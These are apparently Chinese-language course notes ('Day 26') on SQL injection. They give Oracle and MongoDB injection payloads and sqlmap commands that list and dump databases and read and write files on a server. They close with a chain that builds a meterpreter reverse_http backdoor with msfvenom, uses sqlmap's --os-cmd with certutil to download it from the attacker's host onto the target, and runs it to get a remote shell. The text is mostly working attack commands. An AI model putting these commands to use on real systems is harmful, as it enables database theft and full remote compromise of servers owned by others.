第26天
Oracle
测回显:
and 1=2 union select '1', '2' from dual
MongoDB
测回显:
?id=1'}); return ({title:1,content:'2
'});
用于闭合前面的({
,后面就是自己构造的语句
sqlmap使用
基本操作
python sqlmap.py -u "网址url(可带参数)"
-u
代表访问网址,这行语句执行后sqlmap会尝试判断网站是否存在注入点和数据库类型
python sqlmap.py -u "网址url(可带参数)" --purge
--purge
代表清除上一次使用的工具缓存(测试新的网站时要加上这个参数)
python sqlmap.py -u "网址url(可带参数)" --is-dba
判断数据库权限是否是最高权限
python sqlmap.py -u "网址url(可带参数)" --dbs
列出所有数据库
python sqlmap.py -u "网址url(可带参数)" --tables
列出所有数据表
python sqlmap.py -u "网址url(可带参数)" --current-db
列出当前数据库
python sqlmap.py -u "网址url(可带参数)" --current-table
列出当前数据表
python sqlmap.py -u "网址url(可带参数)" --columns -T "数据表名"
列出指定数据表的所有列名(不包含数据)
python sqlmap.py -u "网址url(可带参数)" --dump (-C "列名1、列名2") -T "数据表名"
列出指定数据表的所有(指定)列下的数据
进阶读写文件
python sqlmap.py -r 文件名
文件可以是txt文件,包含请求的全部数据(相当于一个数据包),因此就可以不用写网址,直接通过数据包进行访问发送(可以自定义请求数据,还适用于登录后的sql注入,因为数据包可以包含登录信息)
python sqlmap.py -r 文件名 --file-read "文件路径+文件名"
可以读取服务器上的文件内容
python sqlmap.py -r 文件名 --file-write "自己的文件路径+文件名" --file-dest "目标服务器的文件路径+文件名"
可以将自己主机上的一个文件内容传给服务器上的某个位置
进阶联动MSF
msfvenom -p windows/meterpreter/reverse_http lhost = IP地址 lport = 端口 -f exe -o sql.exe
lhost = IP地址 lport = 端口
是要后门连接到的主机地址及端口,sql.exe
是后门名称
先在监控主机上执行这段命令生成后门sql.exe文件,然后开始监听对应端口
python sqlmap.py -r 文件名 --os-cmd="certutil -urlcache -split -f http://网站地址/sql.exe D:/sql.exe"
将自己主机上的sql.exe后门程序放到对方的D盘里
--os-cmd=
可以在目标服务器上执行bash语句
python sqlmap.py -r 文件名 --os-cmd="D:/sql.exe"
在目标服务器上运行后门程序,此时自己主机就能监听到数据了